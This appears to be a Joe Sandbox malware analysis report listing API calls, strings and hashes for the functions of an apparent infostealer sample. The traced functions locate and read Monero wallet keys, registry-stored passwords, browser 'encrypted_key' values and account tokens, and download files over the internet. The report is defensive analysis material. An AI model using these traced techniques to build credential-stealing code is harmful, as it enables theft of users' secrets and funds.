String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: c5e3001d385279a5d80e372a9218c951f5b689c456f5dd905dc24330845a2a0d
Instruction ID: 37bda476b6bbb6649a3f65d75fbea4b0bafd65fd63f7be0597e4d4288b7e7732
Opcode Fuzzy Hash: c5e3001d385279a5d80e372a9218c951f5b689c456f5dd905dc24330845a2a0d
Instruction Fuzzy Hash: A7510E319101489BCB18FF60DD96AED77B9BF10302F546928FC067A592EF346B49CB62

Function 00E512D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 8d8790e2fb53a154684965a87a09311d9be8cd8c061128d01b85316f4ec205e2
Instruction ID: b1519440a2c4cabe6d2da143ad83561e45ba99ce32e613c59debc0276f75f7f9
Opcode Fuzzy Hash: 8d8790e2fb53a154684965a87a09311d9be8cd8c061128d01b85316f4ec205e2
Instruction Fuzzy Hash: 76C1C5B59002189BCB14EF60DC89FEE73B8BB54305F0459D9F90A77142EB74AA89CF91

Function 00E54280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E58E0B

lstrcat.KERNEL32(?,00000000), ref: 00E542EC
lstrcat.KERNEL32(?,01CBED50), ref: 00E5430B
lstrcat.KERNEL32(?,?), ref: 00E5431F
lstrcat.KERNEL32(?,01CBDC68), ref: 00E54333

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E58D90: GetFileAttributesA.KERNEL32(00000000,?,00E41B54,?,?,00E6564C,?,?,00E60E1F), ref: 00E58D9F

Part of subcall function 00E49CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00E49D39

Part of subcall function 00E499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E499EC
Part of subcall function 00E499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E49A11
Part of subcall function 00E499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E49A31
Part of subcall function 00E499C0: ReadFile.KERNEL32(000000FF,?,00000000,00E4148F,00000000), ref: 00E49A5A
Part of subcall function 00E499C0: LocalFree.KERNEL32(00E4148F), ref: 00E49A90
Part of subcall function 00E499C0: CloseHandle.KERNEL32(000000FF), ref: 00E49A9A

Part of subcall function 00E593C0: GlobalAlloc.KERNEL32(00000000,00E543DD,00E543DD), ref: 00E593D3

StrStrA.SHLWAPI(?,01CBED20), ref: 00E543F3
GlobalFree.KERNEL32(?), ref: 00E54512

Part of subcall function 00E49AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E49AEF
Part of subcall function 00E49AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00E44EEE,00000000,?), ref: 00E49B01
Part of subcall function 00E49AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E49B2A
Part of subcall function 00E49AC0: LocalFree.KERNEL32(?,?,?,?,00E44EEE,00000000,?), ref: 00E49B3F

lstrcat.KERNEL32(?,00000000), ref: 00E544A3
StrCmpCA.SHLWAPI(?,00E608D1), ref: 00E544C0
lstrcat.KERNEL32(00000000,00000000), ref: 00E544D2
lstrcat.KERNEL32(00000000,?), ref: 00E544E5
lstrcat.KERNEL32(00000000,00E60FB8), ref: 00E544F4

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 9affea4f006c7321b2f72baef4ed8744897edc453b16f4a1d2455974a1366560
Instruction ID: e3a01573b0579ed2308afb9f555439575a945da12bdafdc92f66f18404f9a725
Opcode Fuzzy Hash: 9affea4f006c7321b2f72baef4ed8744897edc453b16f4a1d2455974a1366560
Instruction Fuzzy Hash: 7A7179B6910208A7CB14EBB0DC85FEE73B9AB48301F045599F645B7181EA35DB49CF61

Function 00E41310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E412A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E412B4
Part of subcall function 00E412A0: RtlAllocateHeap.NTDLL(00000000), ref: 00E412BB
Part of subcall function 00E412A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00E412D7
Part of subcall function 00E412A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00E412F5
Part of subcall function 00E412A0: RegCloseKey.ADVAPI32(?), ref: 00E412FF

lstrcat.KERNEL32(?,00000000), ref: 00E4134F
lstrlen.KERNEL32(?), ref: 00E4135C
lstrcat.KERNEL32(?,.keys), ref: 00E41377

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

Part of subcall function 00E58B60: GetSystemTime.KERNEL32(00E60E1A,01CBAD00,00E605AE,?,?,00E413F9,?,0000001A,00E60E1A,00000000,?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E58B86

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00E41465

Part of subcall function 00E5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E5A7E6

Part of subcall function 00E499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E499EC
Part of subcall function 00E499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E49A11
Part of subcall function 00E499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E49A31
Part of subcall function 00E499C0: ReadFile.KERNEL32(000000FF,?,00000000,00E4148F,00000000), ref: 00E49A5A
Part of subcall function 00E499C0: LocalFree.KERNEL32(00E4148F), ref: 00E49A90
Part of subcall function 00E499C0: CloseHandle.KERNEL32(000000FF), ref: 00E49A9A

DeleteFileA.KERNEL32(00000000), ref: 00E414EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00E41335
wallet_path, xrefs: 00E41330
.keys, xrefs: 00E4136B
\Monero\wallet.keys, xrefs: 00E4138D

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 8653daa22658caacdb6ecba505ee040c3f1f1dc2c7d19b35d79d730d614dad6b
Instruction ID: fdc043557b6c84d6142c84be06d3c8f7c5903a787aae77b200db0e53d66c7851
Opcode Fuzzy Hash: 8653daa22658caacdb6ecba505ee040c3f1f1dc2c7d19b35d79d730d614dad6b
Instruction Fuzzy Hash: 285185B2D5011897CB15FB60DC96FED73BCAF54301F4456E8B60A72082EE346B89CBA5

Function 00E475D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E472D0: memset.MSVCRT ref: 00E47314
Part of subcall function 00E472D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00E4733A
Part of subcall function 00E472D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00E473B1
Part of subcall function 00E472D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00E4740D
Part of subcall function 00E472D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00E47452
Part of subcall function 00E472D0: HeapFree.KERNEL32(00000000), ref: 00E47459

lstrcat.KERNEL32(00000000,00E617FC), ref: 00E47606
lstrcat.KERNEL32(00000000,00000000), ref: 00E47648
lstrcat.KERNEL32(00000000, : ), ref: 00E4765A
lstrcat.KERNEL32(00000000,00000000), ref: 00E4768F
lstrcat.KERNEL32(00000000,00E61804), ref: 00E476A0
lstrcat.KERNEL32(00000000,00000000), ref: 00E476D3
lstrcat.KERNEL32(00000000,00E61808), ref: 00E476ED
task.LIBCPMTD ref: 00E476FB

Strings

: , xrefs: 00E4764E

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 4c0ccf9d674edcbf0786bc22dc5ec5b6a666e20008b70abe15ed292d6334d27b
Instruction ID: d04fc82cd47a28be208c7d8af9916ba00103d4645146596f7587ba9b17b99319
Opcode Fuzzy Hash: 4c0ccf9d674edcbf0786bc22dc5ec5b6a666e20008b70abe15ed292d6334d27b
Instruction Fuzzy Hash: CC315E72A04109DFCB18EBB4EC85DFE73B5BB58301F205159F182B7685DB39A946CBA0

Function 00E472D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00E47314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00E4733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00E473B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00E4740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00E47452
HeapFree.KERNEL32(00000000), ref: 00E47459
task.LIBCPMTD ref: 00E47555

Strings

Password, xrefs: 00E47401

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: dbe792696b0a2d34276538320fe9763bc055f9a9182043f23bc090d45cbdcaee
Instruction ID: 2830f007a2674ce04edd878dd3a985c4bb659214a106a30219460febc49d2b13
Opcode Fuzzy Hash: dbe792696b0a2d34276538320fe9763bc055f9a9182043f23bc090d45cbdcaee
Instruction Fuzzy Hash: 93613CB5D141689BDB24DB50EC41BEEB7B8BF44304F0091E9E689B6141DBB45BC9CFA0

Function 00E58100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01CBEAB0,00000000,?,00E60E2C,00000000,?,00000000), ref: 00E58130
RtlAllocateHeap.NTDLL(00000000), ref: 00E58137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00E58158
__aulldiv.LIBCMT ref: 00E58172
__aulldiv.LIBCMT ref: 00E58180
wsprintfA.USER32 ref: 00E581AC

Strings

%d MB, xrefs: 00E581A3
@, xrefs: 00E5814D

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: e87f1c9bf57c55f07046b321f6b0019a01abd4c0117bdd869229239e84f6bbb0
Instruction ID: a12585117aef33e31e3a5c2d44a0db7ae24781886d869ede25137dc35d081777
Opcode Fuzzy Hash: e87f1c9bf57c55f07046b321f6b0019a01abd4c0117bdd869229239e84f6bbb0
Instruction Fuzzy Hash: F9214AB1E48218ABDB10DFD4CD49FAFB7B8FB44B15F104609FA05BB280D77969058BA4

Function 00E460A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E5A7E6

Part of subcall function 00E447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E44839
Part of subcall function 00E447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E44849

InternetOpenA.WININET(00E60DF7,00000001,00000000,00000000,00000000), ref: 00E4610F
StrCmpCA.SHLWAPI(?,01CBF318), ref: 00E46147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00E4618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00E461B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00E461DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00E4620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00E46249
InternetCloseHandle.WININET(?), ref: 00E46253
InternetCloseHandle.WININET(00000000), ref: 00E46260

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 0e2a4f6750212ca7e0e644df8b158d42b76deff604b0f28d38298ec5832471ea
Instruction ID: 6b19377e1690c3e63a84ed5b20e026d6c4074a8be86fc4f2a73861bab270df9e
Opcode Fuzzy Hash: 0e2a4f6750212ca7e0e644df8b158d42b76deff604b0f28d38298ec5832471ea
Instruction Fuzzy Hash: AC51C4B1A00208EBDB20DF60DC49BEE77B8FB04305F005599B646B71C0DBB56A89CF55

Function 00E4BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

Part of subcall function 00E5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E5A7E6

lstrlen.KERNEL32(00000000), ref: 00E4BC9F

Part of subcall function 00E58E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E58E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00E4BCCD
lstrlen.KERNEL32(00000000), ref: 00E4BDA5
lstrlen.KERNEL32(00000000), ref: 00E4BDB9

Strings

AccountId, xrefs: 00E4BCC4
AccountTokens, xrefs: 00E4BABA
AccountTokens, xrefs: 00E4BB49
SELECT service, encrypted_token FROM token_service, xrefs: 00E4BBEB

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 7a532aa6652b0129b622579ec2823c1b557f016f4ff685518084b43790913856
Instruction ID: b2e6c6c4e17535f85d175078462aff674ba10b7dd0b61304de56034b7966ce2d
Opcode Fuzzy Hash: 7a532aa6652b0129b622579ec2823c1b557f016f4ff685518084b43790913856
Instruction Fuzzy Hash: B4B162729101189BCB18FBA0DC56EEE73B8BF54301F445A69F903B2191EF346A4DCB62

Function 00E56770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00E56774
ExitProcess.KERNEL32 ref: 00E567A5
ExitProcess.KERNEL32 ref: 00E567AF
ExitProcess.KERNEL32 ref: 00E567B9
ExitProcess.KERNEL32 ref: 00E567C3
ExitProcess.KERNEL32 ref: 00E567CD

Strings

*, xrefs: 00E5678C

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
